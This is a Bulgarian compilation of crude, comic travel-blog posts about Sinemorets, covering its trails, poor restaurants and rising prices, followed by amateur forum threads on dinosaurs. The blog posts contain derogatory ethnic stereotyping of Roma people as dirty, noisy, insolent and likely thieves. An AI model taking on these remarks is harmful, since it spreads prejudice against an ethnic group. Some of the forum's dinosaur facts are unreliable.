Ходих преди две седмици но си викам да не ви комплексирам мой мили нескъпи и неуважаеми читатели / ша ва помоля в знак на уважение към мен да не си чешете т.пките поне пет минути – а тези които си нямат т.пки да не си бъркат в носа ушите и всички останали д.пки и д.пчици по тялото !.. /, затова да го напиша сега че ми се е възпалила творческата жлеза нещо… Значи път много – обаче си заслужавам там е дуг свят – 20 май – а водата топла – щом и ламята се кисна значи наистина е топла, а не съм аз морж… За природа и красота няма ви говоря – другаря Гугалов, може да ви покаже всичко ако го попитате както трябва. Това Велека – лелеее това Ропотамо – това Силистар …. Това гори, пътеки, плажове, морето чисто и прозрачно - красота… малко мееестното население нестава – не че са лоши, но не са и топли хора като северняците …
Някак си се държат на разстояние, любезни са, но си личи че го правят от немай накъде. Немогат и да готвят … в София дева рибата по хубава от там, а тоя скорпид все едно кастрени врабчета са ми опържили … НЕСТРУВА -нензам закакво се хвалят с него, това все едно понеже в някоя селска река няма друга риба освен „таранка“ и да ви кажат че е деликатес … деликатес друг път дай им на селяндурите да плющят скумрия и нема се сетят за тоя техен деликатес – както и да е че с еотплесвам. Четох и за някаква гивизлийка ли, каква баница беше. Аз ли не попаднах на точния циганин да ми направи или аз не разбирам от селски вкусове, ама това си е чиста тъпа сергиена баничка, обаче печена на сач не на фурна, нещо средно между арабска питка, катма и баничка. Не че е лошо, ама не е нищо особенно… Обиколих наред всички кръчми който ми харесаха що годе… /всички под средната оценка и на визия и на кухня/ Н няма къде да си похарчиш парите макар че цените там са доста високи в сравннение с познатото ни южно черноморие. Но не си струва да ги даваш за нищо. Виж кюфтетата и кебапчета от магазина замразени, бяха невероятни в сравнение с помията която продават за кайма и месо тук в софия – Та цяла почивка ламята пече кебабчета и кюфтета…. и ми се окюфтечи едно – пак че беше бирата да помага… Обещаха ми пътя да е лош и пълен с дупки и змии – така беше! И дупки имаше и змии, но не чак толкова че да те откажат, въпреки че не съм почитател ни на едното ни на другото … Прочетохме щедри обещания на една табела за два часа ходене през красива местност да стигнем до невероятният плаж Силистар… и подлъгани от Изречението: „Ако има малки деца с вас си носете вода защото по пътя няма чешми“ тръгнахме в 17 и нещо часа по тази пътека … Д.пенцето да му пръсна дева на тея дето я е писал – какви деца бре изрудеее, какви деца, каква вода бре?! Ми ние дърти маймуни, ни се опути бойната слава по тая пътека, ти за какви деца си писал бре??!!!Викаме си ние щом и за деца става, значи за едни такива професионално улегнали туристи като нас ще е детска приказка с картинки да се разходим и върнем. И като дръпнахме по пътеката… Амбър я ритна кон… ама това друга тема и тя сама си е виновна – закакъв чеп го лае и се прави че ще го хапи – такъв къч и метна- пак че не я нацели иначе през скалите в морето щяхме да я търсим… засече я само леко с опакото – късметлийско псе ей… Тук е мястото между псувните да ви предупредя ако сте с куче задължително някакви гнусотии против кърлежи, че поне пет шест намерихме, по нас, по него и по дрехите… пак че му набихме отзад ампула за 25 лева предварително, та не се бяха забили да смучат копелтиите… Та да продължа да го псува тоя идот смотан, с бъдещия разцепен з.дник… Какви деца бре нали ще паднат или в пропаста или странджански мечки ще ги изядат бре изруд извратен. -Ми то треволяк, бодли, пътеките някакви не кози, ами муфлонски дева. Едвам се виждат. Надолу 100 метра пропаст, нагоре стръмно оср.хме се бре ейййй, ламята на косъм да ми поиска развод – не че ще е лошо де ама.. ми е за бойлера TESY е – марков демек, а тя ще ми го вземе при развода дева, барабар с хладилника… Стигнахме със сто мъки и почти разбити – с НЕВЕРОЯТНО КЕФЕЩАТА И ПАЛАВА МИСЪЛ ЧЕ ТРЯБВА ДА СЕ ВЪРНЕМ ПРЕДИ ЗАЛЕЗ СЛЪНЦЕ ЗА ДА НЕ НИ ИЗЯДЪТ ДИВИТЕ СВИНИ И БЕСНИТЕ КАТЕРИЦИ / що пиша с главни букви ? – мани нема да трия / та отидохме на пустия Силистар – то вечерно време ко да му гледаме комари се разлетели – 4-5 палатки – хубаво да ама да не бяхме дошли по извратената пътека … та видяхме го и айде на обратно … все пак решихме да не се самоубиваме по пътеката през ноща та тръгнахме по пътя … ГОЛЯМО ВЪРВЕНЕ ЕЙЙЙЙЙЙЙЙЙЙЙ ГОЛЯМО НЕЩО ибахмамау чак на мъдити фанах плюски дето се клатеха по пътя .. .голямо вървене ей … кучето легна и умре като се прибрахем не мръдна- после да яде даже не стана а то лакомия голяма неговото няма насищане по принцип. Чак на другата сутрин горкото се надигна за водица и тоалетна… та така по тази пътека не тръгвайте освен ако не сте някакви изхакани мазохисти - хубав е плажа, но с кола ! – и тва е нещо не ми се пише вече че се улях – много снимки направих ама няма да ви ги показвам че са еротични и да не хванете бяс като ме гледате – ще ви шибна от гоогле една – а да и там гранична зона ей вардят по пътя и викат стой къде дай документи. Да си носите ей – че глоби раздават …
п.п. и да ви п.кая на вкусовете аз – абе кака в цялото тамошно крайбрежие един ресторант не открих в който да има цаца бре ? абе аз отидох бира с цаца да ям те ми дават някакви изродени риби … то грозна риба това скорпида като го погледнеш и после не ти става два дена те в чиния с гарнитура ми го сервират… зема да им внасям замразена цаца там може да потръгне бизнеса ?"
Коментари:
"Rumen on 05.08.2009 at 14:36
Brawo Така е по цялото черноморие с вариации разбирасе и то се към по лошо! От 3 години са ме прогонили и нема а севърнем мамица..та а и не е ефтино… по ефтино е да не идеш там УЖАССС
Чалга и простотия до безкраиност! Абе кво се морим да паша незнам ама от гнуста дет сам вид"
"Руси Ангелов on 14.08.2009 at 16:50
Харесва ми литературният ти стил. Можеш да издадеш сборник с пътеписи-ще има голям успех."
Следващото (19.07.2009):
"Отново в Синеморец и Околията … Глад и Кръчми
Неможах да се сдържа и при първата изчеканала севъзможност, се измъкнах за още няколко дни и забих към бленувания Синеморец… Разбира се вече тълпите са го превзели почти, но не са чак толкова много за да ми развалят кефа… Този път ще се спра предимно на кръчмите … И заключението още в началото е само едно - СИНЕМОРЧАНИ НЕМОГАТ ДА ГОТВЯТ ! Където седнах не повторих …
Реших да ги подкарам подред кръчмите, не са толкова много за да не насмогна … Имената им не ги помня но те не са много, а и не си струва да си записвате :) … На всичкото отгоре напук на гадната им кухня, са се постарали цените им да са неприятно завишени. В първата кръчма Младо, наплашено сервитьорче ни обслужи все едно ни обслужва младо и наплашено сервитьорче – треперещи ръце, срамежливи погледи дали шефовете му го гледат,мънкане под нос… поръчах ме си риба карагьозовица и пилешка и рибна супа … салатите не си струва да ги споменавам… Разбира се както може да се очаква – рибата беше полу-сурова но това не ни учуди толкова, колкото че пилешката и рибената супа се различаваха само по това че в едната плуваха парченца от пилешки трупчета, а в другата подобни но от умряла риба… цвят, подправки, кубчета зеленчуци, вкус -ВСИЧКО ИДЕНТИЧНО … Ами защо да се морят да правят няколко супи – бульончето е едно, а слагат каквото искаш, трябваше да пробваме и телешка и свинска сигурно :)… Прибрахме се и си доядохме с останали от пътя сандвичи и салам :) – един съвет – от вас готвачи няма да станат - но поне при тези цени който толкова смело и оптимистично сте натряскали в менюто си - купете си нормални столове не с тези евтини пластмасови столчета без облегалки за ръцете дори …
На другата сутрин забелязах гордо изпъналата се до нас сергия с дюнери и палачинки… и двама мургави циганина- „арабски тип“ се оглеждат за клиенти… от седмица ми се ядеше катма викам си ще ги пробвам за дюнера не ми се рискува защото си личеше че не са от най-големите дюнерджий … Катми нямало те правели палачинки викам ок – дайте ми палачинка окъсаха я отъркаляха я … доогнусиха я с шикалад и ми я връчиха гордо да си хапна… хапнах си да една хапка – останалото в кофата … и гладни айде на следващия ресторант да закусим със супичка – интелигентно изглеждащо чистичко лъскаво хотелче с приятни пластмасови маси имитация на ракита я дайте една бира за закуска я и една шкембе чорба разбира се и една пилешка за момето … а така ммм тая супа защо се забави 15 минути преди да дойде размразявахте ли я ? Прясна е ахаааа, разбирам. Ами защо топчета лой ми се размазват по небцето и езика ? Ще може ли да ми я позатоплите – ами с бирата ми какво стана ? забравили сте нищо аз ще отида да си я взема да не ви притеснявам, мерси – претоплихте ми супата ооо хиляди благодарности – от претоплянето ли има този вкус на вкиснало кисело мляко или си е така по дефаут? Аха мънкате е няма нищо пилешката и тя неструва- как успяхте да направите пилешкото месо вътре толкова гумено да не сте го киснали в желе – довиждане – разбира се че няма да дойдем пак при вас …
За вечеря следващата кръчма … хубава сервитьорка интересно замислена тези корабни въжета и дървени маси, слама, тръстики ммм идилия … ааа тези паяжини какво правят тук, да тук до прашнит е и проядени от незнам какво дъски … ех жалко хубава сервитьорка си но не ни се рискува при вас … яяяя какъв надпис срещу вас „Шопска среща“ ммм я да видим как сладко ще си хапнем тук – да не се притесняваме от комарите казвате нищо че ни хапят .. ами добре гладни сме ще изтърпим.
Я да видим една акула пане кака ще направите и един лаврак дайте я има готвено уоууу супер кюфтета в доматен сос ? ммм мчудесно дайте и тях насам … Мерси – ще може ли да попитате готвача тая акула пане така ли трява да е студена и жилава отвътре като жива ей, как постигнахте този ефект ? да не е тайна рецепта
питайте готвача ако може … аа така ли? - Била станала така защото е пане аха и затова не се е сготвила отвътре – значи дефакто това не е ефект а така си готвите тук ммм чудесно … какво е това кюфтенцата в доматен сос – Ами защо ми приличат на две кюфтета на скара пльоснати в мляни домати от консерва – ааа защото това наистина са две кюфтета на скара пльоснати в мляни домати от консерва .. ясно разбрах … значи това разбирате тук под готвено … евалата – а нека си пищят и да се гонят около мен противните келешчета на собственика няма проблем – мерси довиждане няма да повторим разбира се …
Забелязах аз че правят на още едно място катми и с голяма надежда се запътих натам на другата сутрин – защо пък толкова ми се приядоха катми незнам, уж не съм бременен ама на… ааа вие ли ги правите Вие другарьо циганин не ми ли направихте миналия път гадните сурови гивизлийки ? вие нали аха ами катми ? аа нямате кой да направи сега … е по добре нали още помня вкуса на предишния ви майсторлък мерси …
Малко по надолу си намерих друг екзотичен братчед да прави мекици и закуски с написи от сорта супер пица незнам кое и беше супера… топка тесто омазано с гнусеничаво нещо и кръгче евтин салам отгоре както и да е дайте ми мекички че съм гладен… нищо че си ги пипал ти нищо че е мръсно гладни сме няма как мммм вкусно браво евала то оставаше и едни мекици да не можете да изпържите не мерси не искам пица чао.
Я да опитаме при вас да вечеряме интересен ресторан я и някакво там колело се върти от водата и какво прави? – мандахерца скартата… а интересно да, виж как се снимат чужденците до него…
Дайте сега да хапнем нещо салатки разбира се че искаме шопски м’чи как, дайте рибка добре я и едно кебапче да опитам мерсиии иха че голямооооооо ми аз ако имах такъв аатрибут в гащите щях да стана ексцебионист ли как се викахо ония с шлиферите наголо :) ще може ли другия път да е тройно по-малко, но все пак да има месо в него а? неможее? таква е рецептата ахаха не ги правите вие получавате ги готови само ги скарирвате на кулилотУ мирсии ясно – супата сте я докарали евалата най накрая нещо приятно за ядене жалко че така оср.хте пържолата и салатата извинявайте, но не съм вярвал че някой може да развали нещо толкова просто като вратна пържола на тиган – незнаете за какво говоря а ? а как може да направите една шопска салата толкова безвкусна- поздраверте готвача си има талант това не се отдава всеки му да развали нещо което неможе да се развали – жалко че не ям яйца иначе щях да поискам да ми свари две …
Няма как напазарувахме си в местния турбо-ултра-маркет и си готвихме и пържихме следващите дни … малко поосмърдяхме на пържено но поне беше вкусно :)
Та поуката разбира се да намерим от цялото това писание – ами не яжте в Синеморец по-добре се разходете с колата някъде и намерете из околните градове нещо по-подходящо или си носете тиганче и котлонче :)"
Друго (от 21.08.2010):
"Заведения на плажа в Синеморец – какво да очакваме.
На плажа на Синеморец /разбира се говорим за най-посещаваният им плаж и тази година единствен охраняем /, Бутамята, южният плаж името е интересно и не много оригинално, ако го разбиете на две думи се получава и откъде идва.
Та на другият им плаж, северния, където река Велека се влива в морето по един много живописен наин, има останки от заведение което тзи година няма да работи няма и охрана на плажа,
на Бутамята има 4 заведения
ПЪРВОТО носи може би забавното както се е сторило на спобствениците име : “ Куцата медуза“ и предлага пици с гръмката табела
“Ц.ци има по целия плаж, пици има само при нас“ може и да е била оригинална по времето когато кръчмето е окичено с нея.
Заведението е най- добре изглеждащото от четирите.
Има най-ниски цени!
Порциите са прилични, качеството на кухнята е особенно задоволително за плажно заведение коетое доста учудващо… Само се замислете :
най-доброто място,
най-ниските цени
и най добрия интериор…
добра кухня,
добро обслужване.
Предлагат пици на пещ които не са никак лоши. Цените са 8-14 лева за голяма пица която е достатъчна за двма души. Кока кола и производни са на цени по 1.20 лева за разлика от остналите заведения не само на плажа но и в самото село където безалкохолните в 90% от кръччмите са по 1,50 наричам ги кръчми защото е нелепо да говорим за тях като ресторанти. Салатите са големиччки, бирата разбира се студена започва от 1,50 за Бургаско светло. Като цяло кухнята им не е кой знае какво, но като за заведение на плажа ще останете приятно изненадани.
Следващото заведение носи гръмката табела Коктейл бар
Немога да кажа че бармана разбира много от коктейли защото ми сложи в мастиката лед… коеот разбира се я направи на люспи и неприятна за пиене. ПРЕДЛАГАТ И ПИЦИНА ПАРЧЕ И ТО САМО ПО 3 ЛЕВА ЗА ПАРЧЕ … като цената надминава в пъти предлаганото парче пица което не се отличава с нищо особенно.
ТРЕТОТО ЗАВЕДЕНИЕ ВИ ОБЕЩАВА ВКУСНИ ГОТВЕНИ МАНДЖИ както баба ви ги прави ….
ЧЕСТНО КАЗАНО НЕ Е НИТО ЕВТИНО НИТО ВКУСНО готварските им постижения са като на помощник готвач в студентски стол. Стори ми се странно че продавачката/барманката или каквато е там отрудена женица, приличаща на хронично страдаща от домашно насилие си купуваше парчета пица от споменатия по горе „Коктейл бар“. Отдавам го на това че са и омръзнали готвените манджи а не защото е виждала как се приготвя всичко и не смее да хапне.
Предлаганите пиле с ориз, свинско със зеле, мусака, и подобни няма как да ви накарат да повторите и на следващия ден, освен ако сте отраснали със студени сандвичи и сухи хамбургери и всяко сгготвено ястие за вас е вкусно както и супите на „Maggi“. Цацата не е особенно вкусна за да заседнете на бири там които са със 50 стотинки по скъпи от първото заведение – 2 лева за бургаско. Картофите разбира се възможно най-малко в малка чиниика и скромно поръсенио със щипка сиренце едва ли надвишават и 100 грама но затова пък струваха 3 лева… готвените гадорийки с ана цени от 4,50 лева.. скарата им е посредствена каквато продават във всеки магазин. Накратко: СКЪПО, ГРОЗНО, БЕЗВКУСНО
Четвъртото заведение което е в края на плажа миналата година предлагаше обичайната българска скара и вечерна програма с нестинарски танци и нелоша кухня, цени и порции, вече е с нови собственици и всичко е променено.
Табелите предлагат Пици по италианска рецепта и сръбска скара
честно казано неочаквахме нищо особенно, но бяхме приятно изненадани от вкусната плескавица, шишче и пържола приготвени от слаб и словоохотлив сърбин на дървени въглища.
картофките им също са много приятни… на цаца – както и навсякъде в Синеморец не е добре работата :)
цените … на ястията са може да се каже ниски, но отново лошо впечетление прави цената от 1,50 за кола, 2 лева за светло пиво .
ДРУГО ДРГО … НЯАМ КАКВО ДА СЕ КАЖЕ… хубав плаж красива гора нахални мухички и комари в по хладните часове :)
варена царевица по 2 лева, чадъри 5 лева, шезлонги и те 5 лева, водно колело 10 лева на час, джет 50 лева за 15 минути. Хубавото е че почти по целия плаж можете да хванете WiFi така че смело с лаптопите и с голямата батерия :) .
Не ходете в края на плажа за да не попаднете на тумба редовно къпещи се там местни цигани от 3 до 50 годишни … шумни и нагли както всики цигани :) . Това че не ни откраднаха нищо не попречи да сме нащрек докато бяха около нас .
Хубаво е на палжа в Синеморец.. малко са попрекалили с чадърите но къде не са. Ако ви се иска да сте сами, като стигнете края на плажа се качете по пътеката през скалите и около 1 километър по нататък ще попаднете на неохраняем и почти винаги безлюден плаж, ако разбира се не ви притесняват няколкото нудисти там."
Коментари:
"Комитата on 26.08.2010 at 15:57
Всъщност идва от гръцки името – Потамиа-та , т.е. „реката“"
"AMOUN on 26.08.2010 at 19:16
хм.. това обяснение на името е много по-добро от това което си мислех че е :) и изобщо по логично щото там плажа си е тих и нито те бута нито те мята :)
"
Ето ви и линк за Бутамята и Потамя от статия за Синеморец в Уикипедия: https://bg.wikipedia.org/wiki/Синеморец (https://bg.wikipedia.org/wiki/Синеморец)
Хайде и 1 последно (21.08.2010) за цените в хранителните магазини:
"Хранителните магазини в Синеморец вдигнаха цените за туристите.
Забелязва се покачване на хранителните продукти с около 20% от 15 юни. Всички хранителни магазини, явно по взаимна уговорка са вдигнали цените в един и същи ден и така гостите на село Синеморец осъмнаха с видимо по-високи цени. Дори и в магазините които се намират по-далеч от централната част на граничното селце. Няма как да разберем дали местните имат някаква уговорка за по-ниски цени или и те страдат от туристическата надценка през летния сезон.
Така например салам от 15 на 18 лева и от 10 на 12 лева, минералната вода стана от 70 на 80 стотинки за литър и половина. Консерви, пастети, домашни потреби, сапуни и прахове за пране.
Нека проявим разбиране към търговците в село Синеморец, защото те разчитат на тези 2-3 месеца, да поизкарат лесни парички на гърба на туристите, както навсякъде по черноморието. Тук можете да се насладите на варена царевица на плажа за 2 лева. Закуски в местната закусвалня по левче нагоре. Порция от три десет сантиметрови попчета за 5 лева. За разлика от останалата част на южното черноморие тук рядко се намират народни цени. В заведенията с някои изклюения цените също са прекалено високи в пълен разрез с меко казано евтиното и безвкусно обзавеждане, малките порции и ниското качстево на храната. Същото се отнася и за цените на нощувките тук, доста по високи отколкото сте свикнали да виждате по южната част на морето и то при условия доста клонящи към сиромашия отколкото към лукс, но пък ако сте готови на компромисите в цените и качеството то красотата тук си струва дългият път по тесния крив и изпълнен с дупки и бабуни път."
-
Ето ви хубави думи за Синеморец от минали години.
"Бисерни слова за Синеморец
Oколо Синеморец винаги е витаела, витае и сега една особена аура - като на недостъпно място. Нещо като райска градина – само че на брега на морето.
Когато преминеш по металния мост над река Велека, те обзема някакво особено чувство на избран от съдбата.
Синеморец е едно мистично място, обитавано още от древните траки. Златните находки от тракийска могила те приканват да потънеш в легендите за него, а защо не и да създадеш своя...
Малцина знаят, че традицията на нестинарството е именно от този край. Хората, които ходят по жар с икона в ръка, сякаш носят топлината на пламъка в душите си. Те са готови да ти дадат от тази топлина, стига да я пожелаеш.
Още докато пътуваш към Синеморец разбираш, че отиваш някъде, където нещата от живота имат различно измерение.
Асфалтовият път е тесен , за да не отнеме от природата повече, отколкото е необходимо. Понякога го пресичат очарователни създания, родени от дивата любов на глиганите.
Ако си запален ловец или рибар, в Синеморец ще откриеш достатъчно съмишленици. Можеш да се отдадеш на своята страст. На въдицата ти ще се хванат сафрид, зарган, паламуд, лефер.
"
-
Ето едно време какво си пишехме и четяхме за динозаврите. Може да ви е интересно.
Krisi: "Пуснато на: Пет Май 26, 2006 1:12 pm Заглавие: Месоядни динозаври Отговорете с цитат
Откъда са се появили?
Динозаври! Най - известните от всички известни животни, тези влечуги с размери на кит господствали над цялата планета в продължение на на около 160 милиона години. Влечугите еволюирали през карбона, преди около 350 милиона години, и достигнали своя разцвет през следващите периоди перм, триас, юра и креда. През тази истинска "ера на влечугите" разнообразието било огромно: имало сухоземни, морски и летящи; тревопасни, месоядни и всеядни влечуги. В края на периода креда, преди около 65 милиона години, измрели всички едри влечуги и дошъл редът на бозайниците. Ерата на влечугите била почти в разцвета си, когато в края на триаса, преди 225 милиона години, се появили първите динозаври.
"Месоядни динозаври", поредица "Изчезналите" на издателство "Хермес" "
ПЕТЯ: " Пуснато на: Пет Май 26, 2006 7:26 pm
Албертозавър
Хищник, дълъг - 10 м, тежък – 2,4 т, живял през Кредния период. Албертозавърът бил един от последните гигантски динозаври от империята на динозаврите. Според учените той бил по-дребен от роднината си Тиранозавъра. Притежавал огромен череп, който бил по-широк и с
по-дълбока захапка в сревнение с Тиранозаврите. "
sweet_animal: " Пуснато на: Вто Авг 21, 2007 10:46 am
Дейнонихусът:
Дейнонихусът вероятно е бил най-ловкият и агресивен хищник.Този бързо движещ се динозавър имал голям мозък.Бил достатъчно умен да ловува на групи.Използвал дългия остър нокът на задните си крака,за да разкъсва враговете и плячката си.
Тираноавърът:
Тиранозавърът е най-прочутият динозавър.Той живял през креда и е достигал 12 метра дължина.Тежал над 6 тона и имал подобни на трион 18-сънтиметрови зъби.Тъй като тиранозавърът не бил сред най-бързите и кръвожадни динозаври,навярно се е хранел с мърша.
Велоцирапторът:
Велоцирапторът бил интелигентно животно,което ловувало на групи.Той бил дълъг около 3 метра и тежал между 45 и 75 килограма.Имал остри като бръснач нокти на задните си крака и при бягане развивал скорост от над 50 километра в час.
Тарбозавъра:
Името на тарбозавъра означава "опасен гущер".Бил един от най-големите месоядни динозаври и бил родственик на тиранозаврите.
Дейнохейрус:
Учените са открили само една вкаменелост на дейнохейрус.Тази вкаменелост представлява горен крайник,дълъг 2 метра,с огромни,заострени нокти.Може би дейнохейрусът е бил голям хещник,който използвал ноктите си за да ловува.А пък може и да е бил като ленивеца и да е прекарвал живота си,висейки по клоните на дърветата и хранейки се с листа."
Gando: "Пуснато на: Вто Авг 28, 2007 12:19 pm
Тиранозавър Рекс бил наи-огромния месояден динозавър!!! Twisted Evil"
-
Krisi: "Пуснато на: Пет Май 26, 2006 12:58 pm Заглавие: Тревопасни динозаври
Първите тревопасни динозаври
Растителноядните динозаври били първите истински гиганти от ерата на динозаврите. След тях били могъщият диплодок и сеизпозавърът-най-едрите животни които са nнякога са ходили по планетата замя. Известни са разтителноядните влечуги още от ранните периоди от ерата на влечугите-преди 350 милиона години. първите тревопасни динозаври се появили в края на триаса, приблизително по едно и също време с месоядните. Тъй като тазовите кости и на двете групи динозаври били структорирани по подобен начин, днес знаем, че растителноядните вероятно са произлезли от месоядни динозаври."
"Пуснато на: Пет Май 26, 2006 12:59 pm
Най-малкият известен досега динозавърски скелет принадлежи на прозавропод. Мусзавърът е толкова дребен, че се побира на човешка длан. Днес обаче знаем, че това е скелет на новородено, защото очите и ходилата са по-големи спрямо размера на тялото, отколкото биха били при възрастен екземпляр, а освен това костите не са напълно сраснали. Възрастния мусзавър вероятно е бил дълъг около 3 м."
"Пуснато на: Пет Май 26, 2006 1:01 pm
Пангея
Светът е изглеждал много различно в края на триаския и началото на юрският период. Цялата суша била съединена в един единствен континент, наречен Пангея. Ето защо животни от едни и същи видове можели да се разпространяват на всякъде. Именно по тази причина откриваме останки от почти еднакви животни по целия свят-от Австралия до Америка."
"Пуснато на: Пет Май 26, 2006 1:02 pm
Диплидок
Диплодокът е може би най-добре проученият измежду дълговратите завроподи. Той е бил с дължина 27 метра и е обитавал равните и гористи райони на Северна Америка в края на юра. Свързването на костите му показва, че е пасял ниска папратовидна растителност и вероятно е обхващал голям периметър благодарение на дългата си шия. Мощните бедрени мусколи са му позволявали да се изправя на задните си крака и да достига короните на дърветата. Износването на зъбите му показва, че се е хранел и в двете положения."
ПЕТЯ: "Пуснато на: Пет Май 26, 2006 7:24 pm
Нека ви поясня за Пангея:
Алфред Вегенер дава името Пангея (на гръцки означава „всички земи“) на свръхконтинента, съществувал по време на Мезозойската ера преди тектонските плочи да разделят съставящите я континенти. Пангея се разделя преди около 200 млн. години. Когато континентите се събрали и оформили Пангея, се образували и планините. Някои от тях все още съществуват като например Апалачите и Урал. Огромният океан, заобикалящ Пангея, е наречен Панталаса.
Мантията под старото местоположение все още е гореща и се опитва да се издигне. В резултат от това Африка се издига на няколко десетки метра над другите континенти.
Смята се, че Пангея не е първият случай на свързване на континенти, образуващи един континент. Смята се, че свръхконтинентът Родиния е образуван преди около 1100 млн. години и че се разделя преди около 750 млн. години.
Също така се смята, че е съществувал и свръхконтинентът Панотия, образуван преди около 600 млн. години и разделил се преди около 550 млн. години.
По време на Юрския период Пангея се разделя на две части:
Гондвана
Лавразия "
ophidia: "Пуснато на: Пет Май 26, 2006 7:41 pm
Ето ви още снимки за Свръхконтинента Пангея:
Снимки (https://www.google.bg/search?hl=bg&lr=&q=Pangea&tbm=isch&gws_rd=ssl) на Пангея
Още за Пангея: ...
"
darksorrow: "Пуснато на: Съб Май 27, 2006 1:03 am
alpinista написа:
Възрастния мусзавър вероятно е бил дълъг около 3 м.
Честно казано, в момента не мога да се сетя колко беше голям музавърът, но определено е МНОГО по-малък. Смятай, компитата са били около 40см, ако не ме лъже паметта, камо ли това...
Не знам защо тук налагате мнението, че динозаврите са били чудовищно огромни - това просто не е така. По-голямата част от видовете не са били по-големи от коза. Естествено, гигантите са тези, които привличат вниманието, но не изопачавайте факти...
Динозаврите НЕ СА били влечуги, да уточня.
И още нещо - като ми покажете снимки на Пангея, почвам да вярвам в теорията за панспермия. Laughing"
...
Aquila: "Пуснато на: Съб Юни 03, 2006 6:28 pm
...
Уточни от кои тревопасни са произлезли хищниците. Тревопасните са разделени в няколко разреда и сама представителите на един от тях имат подобни на хищниците тазови кости."
Kokerka: "Пуснато на: Нед Яну 07, 2007 2:19 pm
Всъщност тук в тази темичка имате една малка, но съществена грешка. Динозаврите не са тревопасни, а са растителноядни, защото по тяхно време тревата още не е съществувала. Имало е само папратови и плаунови растения, които нямат нищо общо с трева. И термина се оказва малко грешен.
_________________
Животните са По-добрите приятели на човека!"
"Animalia"
(Животно №1): "Пуснато на: Нед Яну 07, 2007 3:03 pm
изпревари ме.но все пак е така.това е правилно"
Kokerka: "Kokerka
Знам, утре това ще ми е един от въпросите -уловки от доцента на изпита. Няма как да не го знам Laughing"
-
ophidia
(Шефката): "Пуснато на: Пет Юни 15, 2007 11:17 am Заглавие: Откриха най-големият пернат динозавър
В Китай откриха най-големият пернат динозавър: Гигантораптор
..."
...
Aries
(Природозащитничката): "Пуснато на: Пет Юни 15, 2007 8:19 pm
Много ги обичам тия динозаври,симпатични са ми Smile ,майка смята че са свирепи...Е аз няма да си ги гледам в двора!Най ме кефят ония огромните с шиповете по опашкит и ...Абе я по добре да намеря картинка!"
ophidia: "Пуснато на: Нед Юни 24, 2007 10:52 am
Стегозавър
И на мен са ми любимци Laughing Laughing
_________________
"Some people look at things the way they are and say, 'Why?' I see things the way they never were and I say, 'Why not?'"
Robert Kennedy"
The Warrior
(Воин на Отечеството - BeastMaster): "Пуснато на: Нед Юни 24, 2007 5:25 pm
Ми да на едното е стегозавър,а на малката снимка ако не се лъжа е Бранхиозавър-най-голямото сухоземно същество."
Aries: "Пон Юни 25, 2007 10:06 am
Не знам,ама като бях по малка много обичах да гледам филми за динозаври.И Джураск Парк също Laughing"
-
Krisi
(Брат на Администраторката): "Пуснато на: Вто Май 30, 2006 10:30 am Заглавие: Летящи динозаври
Палеонтолози откриват масов гроб на нов вид птицеподобни динозаври в Юта, САЩ. Този нов вид е липсващата еволюционна връзка между кръвожадният Velociraptor и тревопасните и покрити с пера динозаври които водят до еволюцията на птиците.
Новооткритият Falcarius utahensis..."
"Ето ви един динозавър:
...
Не намерих имформация за него !"
...
lindsay_lohan: "Пуснато на: Пон Юни 12, 2006 4:08 pm
Иначе са красиви имаше един летящ ама забравих как се казваше.с големи крила иначе самият той не е голям но крилата му са огромни.този вид най-много ми харесва!"
-
sweet_animal: "Пуснато на: Вто Авг 21, 2007 11:27 am Заглавие: Изчезването на динозаврите.
Една от теориите за изчезването на динозаврите е,че в Земята се е блъснал огромен метеорит или астероид.Този удар е предизвикал мощни експлозии,силни ветрове и голяма горещина,в резултат на която водата се е изпарила и настъпила суша.Месеци наред огромен облак от гъст дим е обвивал планета и е закривал слънцето.Първи са измрели растенията,после растителноядните животни,които са се хранели с тях,и накрая месоядните.За късо време се е променил целият климат и са били унищожени почти всички живи организми.А ето ги и стъпките:
1.Изпаряване на водата
2.Разрушаване на сушата
3.Земетресения
4.Приливни вълни
5.Огромни пожари
6.Пепел и прах
7.Киселинен дъжд
8.Температурни промени
Други учени смятат,че динозаврите са измрели след изригването на вулкан преди 65 милиона години.Това било най-мощното изригване в историята на Земята.Във въздуха се отделили огромни количества въглероден двуоксид,киселина и пепел.Киселинният дъжд и липсата на слънчева светлина унищожили горите и променили климата.Това е втората най-известна теория за изчезването на динозаврите.
В района на Мексиканският залив има кратер,който се е получил от падането на огромен метеорит.Кратерът е с диагонал около 200 км.
Друга,много по-малко вероятна,теория за изчезването на динозаврите:станали са плячка на нов хищник,силен поради своята многобройност-бозайниците(първите гризачи може би са се хранели с динозавърски яйца).
Любопитен факт!
Ако метеорит или астеорид отново удари Земята,ще унищожи хиляди видове,включително хората.За да се избегне подобна катастрофа,учените са създали серия от проекти,сред които "Спейсуоч" и "Проджект Итанет".Целта на тези проекти е да се следи за всякакви опасни тела,приближаващи Земята.Чрез телескопи постоянно ще се правят снимки и хората ще бъдат предупреждавани за всяка за всяка възможна опасност.
"
-
sweet_animal: "Пуснато на: Вто Авг 21, 2007 11:26 am Заглавие: Юрски период.
През юрския период Пангея се разцепила на две континента-Гондвана и Лавразия.Гондвана от своя страна се разцепила на огромни късове,които образувал Южна Америка,Африка,Индия,Австралия и Антрактида.
През този период се появили първите птици.Към летящите животни спадали и птерозаврите,които имали ципести криле.
Сред морските влечуги от този период били плезиозаврите-с дълги шии и перки,ихтиозаврите-с делфиноподобни тела,и морските крокодили-с огромни челюсти.
През юрския период живели и цератозаврите,които били месоядни животни.Те имали конусовидни зъби,дълги до 5 см.Зъбите израствали един над друг-по този начин износените стари зъби бързо били измествени от нови.
Ултразавърът бил най-големият динозавър.Той живял през юрския период и бил дълъг до 30 метра.Тежал повече от стадо от 130 крави.
Стегозаврите,или "гребенестите гущери",били сред най-добре въоръжените растителноядни.Името им идва от плочите на гърба.Имали и мощни опашки с дълги шипове.
Алозаврите били най-големите месоядни животни през юра.Те достигали 12 метра дължина и тежели цели 4,5 тона.Имали мощни крайници и остри нокти.
Любопитен факт!
През юра размерите станали много важни за оцеляването.В битка по-едрите животни надвивали по-дребните.Така в процеса на еволюцията месоядните и растителноядните животни развили някои полезни черти.Растителноядните станали по-големи и им пораснали шипове и рога за защита.Месоядните станали по-големи,а ноктите и зъбите им-по-остри."
-
ophidia
(Шефката): "Пуснато на: Пет Апр 07, 2006 3:09 pm Заглавие: Динозаври!
Хайде да си поговорим и за тях!
Само такава тема нямаше хе хе, но вече има.
Реших да я пусна при зоологията, мисля че е най-подходящо.
Преди мнго се увличах по тях, но сега спрях нещо.
Ето ви един линк:
